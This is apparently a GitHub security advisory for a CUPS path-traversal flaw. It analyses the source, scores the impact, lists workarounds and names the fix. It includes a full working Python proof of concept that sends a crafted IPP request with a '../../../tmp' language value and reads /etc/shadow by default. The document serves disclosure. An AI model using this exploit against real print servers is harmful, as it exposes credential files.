GHSA-gq9p-4w7m-2f5g
CVE Information
Summary
CUPS accepts a print job whose operation-level
attributes-natural-languagecontains path separators. During banner generation, the scheduler uses that language value as part of the banner lookup path:DataDir/banners/<attributes-natural-language>/<job-sheets basename>When a banner-capable local queue processes
job-sheets=standard,none, the root scheduler can be made to copy bytes from a path selected through that language component. If the selected banner basename resolves to a root-readable file, the copied bytes enter the CUPS job-sheet path and can be consumed by a backend. This PoC demonstrates the issue with the stock CUPSsocketbackend.Impact proposed by reporter
The demonstrated primitive is file-content disclosure from inside the CUPS victim environment. The scheduler performs the banner copy before the backend receives the job-sheet document, so the backend can receive bytes that an unprivileged CUPS child account cannot read directly.
This is not root code execution. It is a root-side file read primitive with these important preconditions:
The target path is inside the Docker victim, not the host. The PoC creates the local CUPS queue itself. The PoC creates the banner basename symlink precondition itself. The PoC submits the print job itself. This is not a full LAN discovery or end-to-end chain package.Score evaluation by Mike Sweet, OpenPrinting
Rescored confidentiality as "low" since the "job-sheets" name is validated against the files in the banners directory, and sandboxing of cupsd normally limits access to arbitrary files on the system.
Affected component
Component:
CUPS scheduler banner handling, root-side copy_banner() path constructionRelevant inputs:
IPP Print-Job operation attribute: attributes-natural-language IPP job attribute: job-sheets CUPS DataDir banners path CUPS TempDir path stateTest environment:
Ubuntu Docker image apt-provided cups package stock CUPS socket backend isolated cupsd runrootRoot cause
The root cause is a parser-to-consumer mismatch in the scheduler banner path:
IPP parser accepts attributes-natural-language as job metadata banner path construction later treats it as a filesystem path component copy_banner() opens the resulting path as the root scheduler the copied banner bytes are published as a job-sheet document the backend consumes that job-sheet documentExpected invariant:
Language tags must not be able to select filesystem directories. Banner lookup must not follow attacker-controlled path separators or symlinks to root-readable files outside the intended banner directory.Observed behavior:
attributes-natural-language=../../../tmp job-sheets=standard,none TempDir/standard -> <target path> root scheduler copies the target bytes into the job-sheet path stock socket backend receives the copied bytesSource code evidence
Source snapshot used for analysis:
OpenPrinting/cups source treeRelevant files:
src/cups/scheduler/ipp.c src/cups/scheduler/job.c src/cups/scheduler/banners.c src/cups/backend/socket.cThe vulnerable consumer is
copy_banner()insrc/cups/scheduler/ipp.c. It is called for start and end job sheets:// src/cups/scheduler/ipp.c:1775-1780 if (!(printer->type & CUPS_PTYPE_REMOTE)) { cupsdLogJob(job, CUPSD_LOG_INFO, "Adding start banner page \"%s\".", attr->values[0].string.text); if ((kbytes = copy_banner(con, job, attr->values[0].string.text)) < 0)// src/cups/scheduler/ipp.c:665-675 if (printer && !(printer->type & CUPS_PTYPE_REMOTE) && attr && attr->num_values > 1) { cupsdLogJob(job, CUPSD_LOG_INFO, "Adding end banner page \"%s\".", attr->values[1].string.text); if ((kbytes = copy_banner(NULL, job, attr->values[1].string.text)) < 0)
copy_banner()looks up the banner basename first, creates a new job-sheet spool file, then builds a localized banner path using the natural-language value from the IPP request:// src/cups/scheduler/ipp.c:4010-4023 if (!name || !strcmp(name, "none") || (banner = cupsdFindBanner(name)) == NULL) return (0); if (add_file(con, job, banner->filetype, 0)) return (-1); snprintf(filename, sizeof(filename), "%s/d%05d-%03d", RequestRoot, job->id, job->num_files); if ((out = cupsFileOpen(filename, "w")) == NULL)The path construction treats
attrnameas a directory name underDataDir/banners:// src/cups/scheduler/ipp.c:4037-4051 cupsCopyString(attrname, job->attrs->attrs->next->values[0].string.text, sizeof(attrname)); snprintf(filename, sizeof(filename), "%s/banners/%s/%s", DataDir, attrname, name);There is no rejection of
/,.., or canonical path escape before the open:// src/cups/scheduler/ipp.c:4075-4081 if ((in = cupsFileOpen(filename, "r")) == NULL) { cupsFileClose(out); unlink(filename); cupsdLogClient(con, CUPSD_LOG_ERROR, "Unable to open banner template file \"%s\": %s", filename, strerror(errno));That is the core issue: a field parsed as an IPP natural language tag is reused as a filesystem path segment by a root-side scheduler routine.
The basename gate comes from the banner registry.
cupsdLoadBanners()only registers top-level banner filenames:// src/cups/scheduler/banners.c:82-108 while ((dent = cupsDirRead(dir)) != NULL) { snprintf(filename, sizeof(filename), "%s/%s", d, dent->filename); if (S_ISDIR(dent->fileinfo.st_mode)) continue; add_banner(dent->filename, filename); }Then
copy_banner()reuses that registerednameafter the attacker-controlled language subdirectory has been prepended. This is why the PoC uses the existing banner basenamestandardand places the selected target at the localized lookup path.The scheduler marks the generated spool object as a job sheet:
// src/cups/scheduler/job.c:1055-1056 envp[envc ++] = banner_page ? "CUPS_FILETYPE=job-sheet" : "CUPS_FILETYPE=document";The stock socket backend then sends the spool file to the configured endpoint:
// src/cups/backend/socket.c:387-393 if (print_fd != 0) { fputs("PAGE: 1 1\n", stderr); lseek(print_fd, 0, SEEK_SET); } if ((bytes = backendRunLoop(print_fd, device_fd, snmp_fd, &(addrlist->addr), 1, 0, backendNetworkSideCB)) < 0)End-to-end data flow:
IPP attributes-natural-language -> job->attrs operation attribute -> copy_banner() attrname -> DataDir/banners/<attrname>/<job-sheets basename> -> root-side cupsFileOpen() -> RequestRoot/dNNNNN-MMM job-sheet spool file -> backend print_fd -> socket backend network writeReproducer
Files
Dockerfile
ARG BASE_IMAGE=ubuntu:latest FROM ${BASE_IMAGE} ENV DEBIAN_FRONTEND=noninteractive ARG APT_MIRROR= RUN if [ -n "$APT_MIRROR" ]; then \ if [ -f /etc/apt/sources.list.d/ubuntu.sources ]; then \ sed -i -E "s|https?://archive.ubuntu.com/ubuntu/?|$APT_MIRROR|g; s|https?://security.ubuntu.com/ubuntu/?|$APT_MIRROR|g; s|https?://ports.ubuntu.com/ubuntu-ports/?|$APT_MIRROR|g" /etc/apt/sources.list.d/ubuntu.sources; \ fi; \ if [ -f /etc/apt/sources.list ]; then \ sed -i -E "s|https?://archive.ubuntu.com/ubuntu/?|$APT_MIRROR|g; s|https?://security.ubuntu.com/ubuntu/?|$APT_MIRROR|g; s|https?://ports.ubuntu.com/ubuntu-ports/?|$APT_MIRROR|g" /etc/apt/sources.list; \ fi; \ fi \ && apt-get update \ && apt-get install -y --no-install-recommends \ cups \ python3-minimal \ && rm -rf /var/lib/apt/lists/* WORKDIR /poc CMD ["/bin/bash"]
clean.sh
#!/usr/bin/env bash set -euo pipefail script_dir="$(cd "$(dirname "$0")" && pwd)" cd "$script_dir" image="${POC_IMAGE:-cups-gap-root-read-poc:ubuntu-latest}" rm -rf work docker image rm "$image" || true echo "removed PoC image and run artifacts"
poc.py
#!/usr/bin/env python3 from __future__ import annotations import argparse import os import re import shutil import socket import struct import subprocess import sys import threading import time from pathlib import Path HERE = Path(__file__).resolve().parent IMAGE = "cups-gap-root-read-poc:ubuntu-latest" QUEUE = "Root_File_Read_Printer" DEFAULT_TARGET = "/etc/shadow" TAG_OPERATION = 0x01 TAG_JOB = 0x02 TAG_END = 0x03 TAG_CHARSET = 0x47 TAG_NATURAL_LANGUAGE = 0x48 TAG_URI = 0x45 TAG_NAME = 0x42 TAG_MIME = 0x49 def log(message: str) -> None: print(f"[{time.strftime('%H:%M:%S')}] {message}", flush=True) def read_text(path: Path) -> str: try: return path.read_text(errors="replace") except FileNotFoundError: return "" def write_text(path: Path, text: str) -> None: path.parent.mkdir(parents=True, exist_ok=True) path.write_text(text, encoding="utf-8") def free_port() -> int: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(("127.0.0.1", 0)) return int(sock.getsockname()[1]) def wait_until(label: str, predicate, timeout: float) -> bool: deadline = time.time() + timeout while time.time() < deadline: if predicate(): log(f"{label}: observed") return True time.sleep(0.2) log(f"{label}: timed out") return False def can_connect(port: int) -> bool: try: with socket.create_connection(("127.0.0.1", port), timeout=0.2): return True except OSError: return False def stop(proc: subprocess.Popen[str] | None) -> None: if proc is None or proc.poll() is not None: return proc.terminate() try: proc.wait(timeout=5) except subprocess.TimeoutExpired: proc.kill() proc.wait(timeout=5) class TcpSink: def __init__(self) -> None: self.port = free_port() self.data = bytearray() self.ready = threading.Event() self.done = threading.Event() self.thread = threading.Thread(target=self.serve, daemon=True) def start(self) -> None: self.thread.start() if not self.ready.wait(timeout=5): raise RuntimeError("TCP sink did not start") def wait(self, timeout: float = 25.0) -> bytes: self.done.wait(timeout) return bytes(self.data) def serve(self) -> None: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv: srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("127.0.0.1", self.port)) srv.listen(8) srv.settimeout(1.0) self.ready.set() deadline = time.time() + 25.0 while time.time() < deadline: try: conn, _ = srv.accept() except socket.timeout: if self.data: break continue with conn: conn.settimeout(1.0) while True: try: chunk = conn.recv(65536) except socket.timeout: break if not chunk: break self.data.extend(chunk) deadline = time.time() + 2.0 self.done.set() def cups_dir(kind: str, optional: bool = False) -> Path | None: for base in (Path("/usr/lib/cups"), Path("/usr/libexec/cups")): path = base / kind if path.exists(): return path if optional: return None raise RuntimeError(f"missing system CUPS {kind} directory") def backend_path(name: str) -> Path: for base in (Path("/usr/lib/cups/backend"), Path("/usr/libexec/cups/backend")): path = base / name if path.exists(): return path raise RuntimeError(f"missing CUPS backend: {name}") def root_identity_lines() -> list[str]: lines: list[str] = [] if Path("/etc/passwd").read_text(errors="ignore").find("\nlp:") >= 0: lines.append("User lp") else: lines.append("User nobody") if Path("/etc/group").read_text(errors="ignore").find("\nlp:") >= 0: lines.append("Group lp") else: lines.append("Group nogroup") return lines def make_runroot(runroot: Path, sink_port: int, target: str) -> int: if runroot.exists(): shutil.rmtree(runroot) for rel in ( "etc/cups/ppd", "cache/cups", "spool/cups", "run/certs", "tmp", "log", "share/cups/banners/en", "share/cups/mime", "serverbin/backend", ): (runroot / rel).mkdir(parents=True, exist_ok=True) filter_dir = cups_dir("filter", optional=True) (runroot / "serverbin/filter").symlink_to(filter_dir) if filter_dir else (runroot / "serverbin/filter").mkdir() (runroot / "serverbin/daemon").symlink_to(cups_dir("daemon")) shutil.copy2(backend_path("socket"), runroot / "serverbin/backend/socket") (runroot / "serverbin/backend/socket").chmod(0o755) mime_dir = Path("/usr/share/cups/mime") shutil.copy2(mime_dir / "mime.types", runroot / "share/cups/mime/mime.types") shutil.copy2(mime_dir / "mime.convs", runroot / "share/cups/mime/mime.convs") write_text(runroot / "share/cups/banners/standard", "%PDF-1.1\n% registered banner type\n%%EOF\n") write_text(runroot / "share/cups/banners/en/standard", "%PDF-1.1\n% negative localized banner\n%%EOF\n") os.symlink(target, runroot / "tmp/standard") write_ppd(runroot / "etc/cups/ppd" / f"{QUEUE}.ppd") port = free_port() cups_files = [ f"ServerRoot {runroot / 'etc/cups'}", f"ServerBin {runroot / 'serverbin'}", f"StateDir {runroot / 'run'}", f"RequestRoot {runroot / 'spool/cups'}", f"CacheDir {runroot / 'cache/cups'}", f"DataDir {runroot / 'share/cups'}", f"TempDir {runroot / 'tmp'}", "LogFilePerm 0644", *root_identity_lines(), f"AccessLog {runroot / 'log/access_log'}", f"ErrorLog {runroot / 'log/error_log'}", f"PageLog {runroot / 'log/page_log'}", "", ] write_text(runroot / "etc/cups/cups-files.conf", "\n".join(cups_files)) write_text( runroot / "etc/cups/cupsd.conf", "\n".join( [ "ServerName localhost", f"Listen 127.0.0.1:{port}", "Browsing Off", "WebInterface No", "LogLevel debug2", "AccessLogLevel all", "<Location />", " Order allow,deny", " Allow all", "</Location>", "<Policy default>", " <Limit All>", " Order allow,deny", " Allow all", " </Limit>", "</Policy>", "", ] ), ) write_text( runroot / "etc/cups/printers.conf", "\n".join( [ "NextPrinterId 2", f"<Printer {QUEUE}>", "PrinterId 1", "UUID urn:uuid:00000000-0000-4000-8000-000000000001", "AuthInfoRequired none", "Info Root File Read Printer", "Location lab", "MakeModel Root File Read Printer", f"DeviceURI socket://127.0.0.1:{sink_port}", "State Idle", f"StateTime {int(time.time())}", f"ConfigTime {int(time.time())}", "Type 4", "Accepting Yes", "Shared Yes", "JobSheets none none", "OpPolicy default", "ErrorPolicy abort-job", "</Printer>", "", ] ), ) return port def write_ppd(path: Path) -> None: write_text( path, "\n".join( [ '*PPD-Adobe: "4.3"', '*FormatVersion: "4.3"', '*FileVersion: "1.0"', "*LanguageVersion: English", '*Manufacturer: "PoC"', '*ModelName: "Root File Read Printer"', '*NickName: "Root File Read Printer"', "*ColorDevice: True", "*cupsVersion: 2.4", '*cupsLanguages: "en"', "*cupsSingleFile: True", '*cupsFilter2: "application/pdf application/pdf 0 -"', "*OpenUI *PageSize/Media Size: PickOne", "*DefaultPageSize: A4", '*PageSize A4/A4: "<</PageSize[595 842]>>setpagedevice"', "*CloseUI: *PageSize", "", ] ), ) def tiny_pdf() -> bytes: return b"%PDF-1.1\n1 0 obj <<>> endobj\ntrailer << /Root 1 0 R >>\n%%EOF\n" def ipp_attr(tag: int, name: str, value: str | bytes) -> bytes: name_b = name.encode() value_b = value.encode() if isinstance(value, str) else value return bytes([tag]) + struct.pack(">H", len(name_b)) + name_b + struct.pack(">H", len(value_b)) + value_b def submit_print_job(port: int, language: str) -> bool: body = bytearray() body += b"\x02\x00" + struct.pack(">H", 2) + struct.pack(">I", 1) body += bytes([TAG_OPERATION]) body += ipp_attr(TAG_CHARSET, "attributes-charset", "utf-8") body += ipp_attr(TAG_NATURAL_LANGUAGE, "attributes-natural-language", language) body += ipp_attr(TAG_URI, "printer-uri", f"ipp://127.0.0.1:{port}/printers/{QUEUE}") body += ipp_attr(TAG_NAME, "requesting-user-name", "poc") body += ipp_attr(TAG_NAME, "job-name", "root-file-read") body += ipp_attr(TAG_MIME, "document-format", "application/pdf") body += bytes([TAG_JOB]) body += ipp_attr(TAG_NAME, "job-sheets", "standard") body += ipp_attr(TAG_NAME, "", "none") body += bytes([TAG_END]) + tiny_pdf() request = ( f"POST /printers/{QUEUE} HTTP/1.1\r\n" f"Host: 127.0.0.1:{port}\r\n" f"Content-Type: application/ipp\r\nContent-Length: {len(body)}\r\nConnection: close\r\n\r\n" ).encode() + body with socket.create_connection(("127.0.0.1", port), timeout=12) as conn: conn.settimeout(60) conn.sendall(request) response = bytearray() while chunk := conn.recv(65536): response += chunk ok = b" 200 " in response[:64] and b"\x02\x00\x00\x00" in response log(f"print job: {'accepted' if ok else 'not accepted'}") return ok def start_cupsd(runroot: Path) -> tuple[subprocess.Popen[str], int]: conf = runroot / "etc/cups/cupsd.conf" files = runroot / "etc/cups/cups-files.conf" cupsd = shutil.which("cupsd") or "/usr/sbin/cupsd" test = subprocess.run([cupsd, "-t", "-c", str(conf), "-s", str(files)], cwd=HERE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, check=False) if test.returncode != 0: raise RuntimeError(test.stdout) out = (runroot / "cupsd.log").open("w", encoding="utf-8") proc = subprocess.Popen([cupsd, "-f", "-c", str(conf), "-s", str(files)], cwd=HERE, stdout=out, stderr=subprocess.STDOUT, text=True) port = int(next(line.rsplit(":", 1)[1] for line in read_text(conf).splitlines() if line.startswith("Listen 127.0.0.1:"))) if not wait_until("cupsd listen", lambda: can_connect(port), 15): stop(proc) raise RuntimeError("cupsd did not listen") return proc, port def direct_read_check(target: str) -> str: code = ( "import os,pwd,sys\n" "target=sys.argv[1]\n" "u=pwd.getpwnam('lp') if 'lp' in [p.pw_name for p in pwd.getpwall()] else pwd.getpwnam('nobody')\n" "os.setgid(u.pw_gid); os.setuid(u.pw_uid)\n" "try:\n" " open(target,'rb').read(1); print('direct_read_ok')\n" "except OSError as e:\n" " print(f'direct_read_denied errno={e.errno} error={e.strerror}')\n" ) proc = subprocess.run([sys.executable, "-c", code, target], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, check=False) return proc.stdout.strip() def show_capture(data: bytes, target: str) -> None: text = data.decode("utf-8", "replace") print("\n=== captured bytes ===") print(f"target: {target}") print(f"bytes: {len(data)}") print("--- begin ---") print(text[:4000], end="" if text.endswith("\n") else "\n") print("--- end ---") def victim(args: argparse.Namespace) -> int: target = args.target runroot = args.runroot if args.runroot.is_absolute() else HERE / args.runroot sink = TcpSink() proc = None try: sink.start() log(f"target: {target}") log(direct_read_check(target)) port = make_runroot(runroot, sink.port, target) proc, cupsd_port = start_cupsd(runroot) if not submit_print_job(cupsd_port, "../../../tmp"): return 1 data = sink.wait() show_capture(data, target) return 0 if data else 1 finally: stop(proc) def build_image(args: argparse.Namespace) -> str: log(f"building image {args.image}" + (" with --pull" if args.pull_base else "")) cmd = [ "docker", "build", "-t", args.image, "--build-arg", f"BASE_IMAGE={args.base_image}", "--build-arg", f"APT_MIRROR={args.apt_mirror}", ] if args.pull_base: cmd.append("--pull") cmd.append(str(HERE)) run_as = os.environ.get("SUDO_USER") if os.geteuid() == 0 else "" if run_as and run_as != "root": cmd = ["sudo", "-u", run_as, *cmd] subprocess.run(cmd, cwd=HERE, check=True) return args.image def host(args: argparse.Namespace) -> int: if os.geteuid() != 0: raise SystemExit("run with sudo") image = args.image if args.skip_build or os.environ.get("POC_SKIP_BUILD") else build_image(args) runroot = Path("work") / f"run-{args.run_id or time.strftime('%Y%m%d-%H%M%S')}" / "victim" cmd = [ "docker", "run", "--rm", "--privileged", "--network", "host", "-v", f"{HERE}:/poc", "-w", "/poc", image, "python3", "/poc/poc.py", "--victim", "--runroot", str(runroot), "--target", args.target, ] try: return subprocess.run(cmd, cwd=HERE, check=False).returncode finally: if uid := os.environ.get("SUDO_UID"): subprocess.run(["chown", "-R", f"{uid}:{os.environ.get('SUDO_GID', uid)}", str(HERE / "work")], check=False) def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--victim", action="store_true") parser.add_argument("--target", default=os.environ.get("POC_TARGET", DEFAULT_TARGET)) parser.add_argument("--runroot", type=Path) parser.add_argument("--image", default=os.environ.get("POC_IMAGE", IMAGE)) parser.add_argument("--base-image", default=os.environ.get("POC_BASE_IMAGE", "ubuntu:latest")) parser.add_argument("--apt-mirror", default=os.environ.get("POC_APT_MIRROR", "")) parser.add_argument("--run-id") parser.add_argument("--skip-build", action="store_true") parser.add_argument("--pull-base", action="store_true") args = parser.parse_args() if args.victim: if args.runroot is None: parser.error("--victim requires --runroot") return victim(args) return host(args) if __name__ == "__main__": raise SystemExit(main())Build and run with the default target:
sudo python3 ./poc.pyRead a specific victim-side file:
sudo python3 ./poc.py --target /etc/shadowExpected successful output includes:
direct_read_denied ... print job: accepted === captured bytes === target: <target path> bytes: <non-zero> --- begin --- <plaintext content from the selected target> --- end ---Clean artifacts:
sudo ./clean.shPoC flow
selected target path -> TempDir/standard symlink -> attributes-natural-language directory traversal -> root-side copy_banner() -> CUPS job-sheet spool document -> stock socket backend -> local TCP sink prints captured bytesWorkarounds
Possible defensive workarounds until a code fix is available:
Disable banner/job-sheets use where not required. Restrict local queue submission policy to trusted users only. Avoid exposing cupsd Print-Job access beyond local trusted clients. Ensure CUPS TempDir is not writable in a way that can satisfy banner basename preconditions.Fix
[master 665042823] Validate attributes-natural-language, and normalize the logging punctuation.
[2.4.x 08a8a277c] Validate attributes-natural-language, and normalize the logging punctuation.